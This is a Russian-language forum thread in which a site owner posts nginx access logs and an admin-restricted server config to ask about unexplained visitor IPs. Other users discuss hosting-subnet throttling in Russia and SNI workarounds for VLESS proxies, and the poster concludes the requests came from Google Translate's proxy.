0.0.0.0 - - [27/Oct/2025:12:20:58 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:20:59 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:21:00 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:21:03 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:22:10 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:37 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:45 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:48 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:49 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:51 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:27:52 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:28:25 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:29:21 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:29:22 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:29:49 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:30:50 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:31:34 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:31:35 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:31:37 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:31:40 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:01 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:02 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:04 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:05 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:07 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:32:55 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:33:04 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:33:15 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:33:16 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:34:16 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:34:21 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:34:22 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:34:24 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:35:19 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:35:57 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:35:59 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:36:01 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:36:02 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:36:35 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:38:47 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:38:48 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:38:49 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:38:50 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:39:53 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:40:33 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:40:34 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:40:35 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:40:36 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:40:37 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:41:25 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:41:28 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:41:31 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:41:32 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
170.106.140.110 - - [27/Oct/2025:12:43:39 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
0.0.0.0 - - [27/Oct/2025:12:49:23 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:49:31 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:49:33 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:49:35 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:49:36 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:50:31 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:50:32 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:50:33 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:50:34 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:50:35 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:16 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:18 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:20 +0000] "GET /devlog/1-blog-update HTTP/1.0" 200 2731 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:22 +0000] "GET /devlog/ HTTP/1.0" 200 3309 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:23 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:51:40 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:54:08 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:54:09 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:54:10 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:54:11 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:12:54:11 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
43.135.145.77 - - [27/Oct/2025:12:57:33 +0000] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
0.0.0.0 - - [27/Oct/2025:13:00:54 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"
0.0.0.0 - - [27/Oct/2025:13:00:58 +0000] "GET / HTTP/1.0" 200 3205 "https://домен.сайта/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36"

sngvy · October 27, 2025, 9:50pm

Очередная тема от аезовца. Поймите, это не массовый блок хостеров, а блок аезы. Если углубиться, то понятно за что. Передаю привет Арсению в СИЗО

MrNone · October 27, 2025, 9:53pm

Данная тема, больше не про блокировку аезы, а про странности в логах nginx(а). Как никак какой бы хостер не был, подобное может с любым другим произойти.

SagePtr · October 27, 2025, 9:55pm

Contabo тоже замедляли до 16кб, а их тогда за что?

sngvy · October 27, 2025, 9:55pm

Вас атаковали китайские боты. Кинетики тоже пытались сбрутить с китайских адресов, там четко виден перебор логинов и паролей

sngvy · October 27, 2025, 9:56pm

Контабо исходя из известной информации убивает только билайн

slashfast · October 27, 2025, 9:59pm

Некоторые подсети Aeza (возможно и других хостеров) подверглись фильтрации ТСПУ вчера 27.10.2025 с ~01:00 до 22:00. Если в конфигурации VLESS+Reality использовался SNI, который указывал на адрес в фильтруемой подсети, то были проблемы с доступом. Пользователям помогала установка web.max.ru или других SNI, которые, как предполагается, находятся в “белых списках”. Так же помогала конфигурация прокси Клиент → VPS Aeza в СПб (не фильтруется через ТСПУ) → VPS Aeza в Европе.

Вряд ли Ваши подозрения связаны с инцидентом.

MrNone · October 27, 2025, 9:59pm

Сомневаюсь что боты, так как в конфигах nginx(а), прописано что доступ к админке могу получить только я.Ниже пруф.

server {

        listen 127.0.0.1:8040 default;

        root /var/www/html;

        server_name 127.0.0.1;

        set_real_ip_from 127.0.0.1;
        set_real_ip_from айпи4.сайта;

        real_ip_header X-Real-IP;
        real_ip_recursive on;

        error_page 400 /400.html;
        error_page 403 /403.html;
        error_page 404 /404.html;
        error_page 405 /405.html;
        error_page 429 /429.html;
        error_page 500 /500.html;
        error_page 502 /502.html;
        error_page 503 /503.html;
        error_page 504 /504.html;

        location /admin {
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_pass http://127.0.0.1:8090;
                allow айпи4.сайта; < Разрешает подключение только владельцу сайта
                deny all; < остальным нельзя
        }

        location / {
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_pass http://127.0.0.1:8090;
        }

}

И по поводу спама запросами, это я пытался найти стратегию для того чтобы сайт не отваливался, поэтому там так и много 0.0.0.0.

MrNone · October 27, 2025, 10:11pm

Действительно, вопрос не в инциденте, а в самих айпи с которых происходило подключение к серверу.

Узнав чьи это айпи, вопросов к тому как это произошло становится больше, ведь 188.43.87.69 -принадлежит провайдеру ТТК, хост cache.google.com, 94.140.255.4 - принадлежит провайдеру CITYLINK, хост cache.google.com, 92.126.155.68 - принадлежит провайдеру WEBSTREAM, имени хоста нет, 109.226.232.6 - Принадлежит провайдеру ORIONNET и так же имени хоста нет. Скорее всего первые 2 айпи это сервера ggc, а другие 2 неизвестно чьи.

SagePtr · October 27, 2025, 10:12pm

Устарела ваша “известная информация”, 27.10 блокировка Contabo (вместе с другими) была раскатана на многих проводных провайдеров, до этого за пару дней мне пожаловались с Мегафона и с Томского Эр-телекома на частичную недоступность сайта, который хостился там, а сегодня утром обнаружил блокировку и у себя на двух провайдерах. Пришлось поднимать обратный прокси на другом сервере и переписывать записи в DNS, чтобы восстановить работоспособность. Притом как ни странно, SSH к нему не замедлялся никак, а вот HTTPS замедлялся.

А в логах и не видно, чтобы кто-то у вас дёргал локацию /admin. А боты часто не /admin пытаются взломать, а вообще сканят сайты на наличие различных дырявых CMS по типу wordpress и прочей ерунды.

0ka · October 27, 2025, 10:22pm

Ну значит ботят с помощью “гугл перевод сайтов”. Вы так и не обьяснили почти ничего, ваш огромный конфиг и лог вряд ли кто-то будет читать и пытаться понять каждую строчку

MrNone · October 27, 2025, 10:32pm

Попробовал сейчас через гугл переводчик перевести сайт и действительно повторились данные запросы, причем как я понял раз айпи из рф, то и гугл переводчик открывался тоже из рф. Спасибо вам за помощь.

anonimnyj169 · October 28, 2025, 3:23am

таргетный блок хостера, который рекламится у гос аффилированных лиц
надо было бы, в тот же день бы всё снесли, а блочатся подсети на которых в хурикейн заходишь и видишь 250 впсок, относится уже к множеству провайдеров и хостеров